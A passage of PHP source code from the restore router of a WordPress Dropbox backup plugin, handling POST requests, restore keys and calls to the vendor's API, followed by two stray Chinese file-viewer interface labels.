0; $i < 4; $i++) { array_pop($dir_arr); } $dir = implode('/', $dir_arr) . '/'; define('ABSPATH_REAL', $dir ); } if (!defined('DBP_PATH')) { define('DBP_PATH', dirname(__FILE__) . '/../'); } if (!defined('DBP_PATH_TMP')) { define('DBP_PATH_TMP', DBP_PATH . 'tmp'); } class dbr_route { private $cron_is_work = 90; private $plugins = array(); private $setting = array(); private $method_access = array('wpadm_logs'); function __construct() { @set_time_limit(0); if (function_exists('set_error_handler')) { set_error_handler(array($this, 'error_handler') ); } if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) { if ( !isset($_POST['name']) ) { $this->parsMethod(); } elseif( isset($_POST['name'] ) ) { try { dbr_helper::clearTMP(); dbr_helper::testOtherArchive(); dbr_database::inc_wp_config(); $setting = dbr_database::db_get('options', array('option_value'), array('option_name' => 'wpadm_backup_dropbox-setting'), 1); if (isset($setting['option_value'])) { $this->setting = dbr_helper::unpack_setting( $setting['option_value'] ); } $this->setting['restore-key'] = md5( time() . microtime() . __FILE__); include 'constant.php'; $plugin = $this->parsePlugin('/dropbox-backup'); $plugin_name = 'dropbox-backup'; $version = '1.0'; if (isset($plugin['/dropbox-backup']['Version'])) { $version = $plugin['/dropbox-backup']['Version']; } else{ $plugin = $this->parsePlugin('/dropbox-backup-pro'); if (isset($plugin['/dropbox-backup-pro']['Version'])) { $version = $plugin['/dropbox-backup-pro']['Version']; $plugin_name = 'dropbox-backup-pro'; } } $data = array('actApi' => 'setPluginCode', $plugin_name . '_request' => array('action' => 'restore', 'site' => SITE_HOME, 'pl' => $plugin_name, 'key' => $this->setting['restore-key'], 'pl_v' => $version, ) ); $res = dbr_api::post(WPADM_URL_BASE . 'api/', $data); if ( !empty( $res['res'] ) ) { $result = json_decode($res['res'], true); if (isset($result['code'])) { switch($result['code']) { case 101 : dbr_helper::setError('The restoring method has an error'); break; case 108 : dbr_helper::setError('Error of the post/request data'); break; case 109 : dbr_helper::setError('Error of the params data'); break; case 110 : dbr_helper::setError('Unknown error'); break; } } } if ( isset($setting['option_value']) ) { dbr_database::db_update('options', array('option_value' => dbr_helper::pack_setting( $this->setting ) ), array('option_name' => 'wpadm_backup_dropbox-setting') ) ; } dbr_helper::setCommand('restore-backup', array('name' => dbr_helper::sanitize( @$_POST['name'] ), 'action' => dbr_helper::sanitize( @$_POST['action'] ), 'key' => dbr_helper::sanitize( @$_POST['key'] ) ) ); // verify and sanitize post data dbr_helper::setCommand('settings-plugin', $this->setting ); $backup_dir = DROPBOX_BACKUP_DIR_BACKUP; if (isset($this->setting['backup_folder']) && !empty($this->setting['backup_folder'])) { $backup_dir = $this->setting['backup_folder']; } dbr_helper::setCommand('backup-folder', $backup_dir ); echo json_encode(array('result' => 'work')); } catch(Exception $e) { dbr_log::log($e->getMessage()); dbr_helper::setCommand('result-restore', array('name' => dbr_helper::sanitize( $_POST['name'] ), 'result' => 'error', 'message' => $e->getMessage() ) ); // verify and sanitize post data } } } } private function parsMethod() { if ( isset($_POST['method']) ) { $this->setting_restore = dbr_helper::getCommand('restore-backup'); try { dbr_helper::mkdir(DBP_PATH_TMP); if (!dbr_helper::is_work() || in_array($_POST['method'], $this->method_access ) ) { if (isset($_POST['key'])) { $backup_dir = dbr_helper::getCommand('backup-folder'); $this->setting = dbr_helper::getCommand('settings-plugin'); if (file_exists($backup_dir . '/local-key')) { $key_values = dbr_helper::unpack_setting( @file_get_contents($backup_dir . '/local-key') ); } if ($_POST['key'] == @$this->setting['restore-key'] || ( isset($key_values['key']) && $_POST['key'] == $key_values['key'] ) ) { $methods = new dbr_methods(); $method = dbr_helper::sanitize( $_POST['method'] ) . '_method'; if (method_exists($methods, $method)) { if ($_POST['method'] != 'wpadm_logs') { if (file_exists(DBP_PATH_TMP . '/result-restore')) { dbr_helper::is_work(time(), 'finish'); $result = dbr_helper::getCommand('result-restore'); if (isset($result['result']) && $result['result'] == 'success') { $this->getResult(200); } elseif (isset($result['result']) && isset($result['message']) && $result['result'] == 'error') { $this->getResult(402, $result['message']); } } } if (isset($_POST['type-backup']) && $_POST['type-backup'] == 'restore') { if ( !dbr_helper::is_work() && dbr_helper::getCommand('restore-backup') ) { $http = 'http://'; if ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443 ) { $http = 'https://'; } $key = isset($this->setting['restore-key']) && !empty($this->setting['restore-key']) ? $this->setting['restore-key'] : $key_values['key']; $res_api = dbr_api::post($http . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], array('key' => $key, 'method' => 'restore'), array('timelimit' => 5) ); if (stripos($res_api['res'], 'mod_security') !== false || dbr_helper::modSecureInstalled() ) { //dbr_helper::is_work(time(), 'start'); //dbr_helper::setError('Apache module \'mod_security\' is active and affected on your website. For successfully restoring of website please switch it temporary off.'); dbr_helper::setCommand('mod_security', true); } } } else { //dbr_helper::is_work(time(), 'start'); } if ($_POST['method'] != 'wpadm_logs') { dbr_database::inc_wp_config(); include 'constant.php'; $setting = dbr_database::db_get('options', array('option_value'), array('option_name' => 'wpadm_backup_dropbox-setting'), 1); $this->setting = dbr_helper::unpack_setting( $setting['option_value'] ); $backup_dir = DROPBOX_BACKUP_DIR_BACKUP; if (isset($this->setting['backup_folder']) && !empty($this->setting['backup_folder'])) { $backup_dir = $this->setting['backup_folder']; } } $methods->$method(); if (!isset($_POST['type-backup'])) { dbr_helper::is_work(time(), 'finish'); } } else { $this->getResult(401); } } else { $this->getResult(400); } } else { $this->getResult(400); } } } catch(Exception $e) { dbr_log::log($e->getMessage()); dbr_helper::setCommand('result-restore', array('name' => $this->setting_restore['name'], 'result' => 'error', 'message' => $e->getMessage() ) ); } } } function error_handler($errno, $errstr, $errfile, $errline, array $errcontext) { // error was suppressed with the @-operator if (0 === error_reporting()) { return false; } if (!(error_reporting() & $errno)) { return false; } throw new Exception($errstr . ' file ' . $errfile . ' line ' . $errline, $errno); } /** * json encode * * @param integer $code * @param mixed $data * * 200 - success * 400 - error in key * 401 - method not exists * 402 - error in work */ private function getResult($code, $data = '') { $encode = array('code' => $code); if (!empty($data)) { $encode['data'] = $data; } echo json_encode($encode); exit; } private function parsePlugin($folder) { $plugin_dir = ABSPATH . 'wp-content/plugins' . $folder ; if (is_dir($plugin_dir) ) { $files = glob($plugin_dir . '/*.php'); $n = count($files); for($i = 0; $i < $n; $i++) { $plugin = @file_get_contents($files[$i]); if (preg_match("/version: ([0-9\.]+)/i", $plugin, $data)) { if (isset($data[1]) && !empty($data[1])) { $this->plugins[$folder]['Version'] = $data[1]; break; } } } } return $this->plugins; } } new dbr_route(); }
文件修改时间
以二进制形式保存文件(建议使用)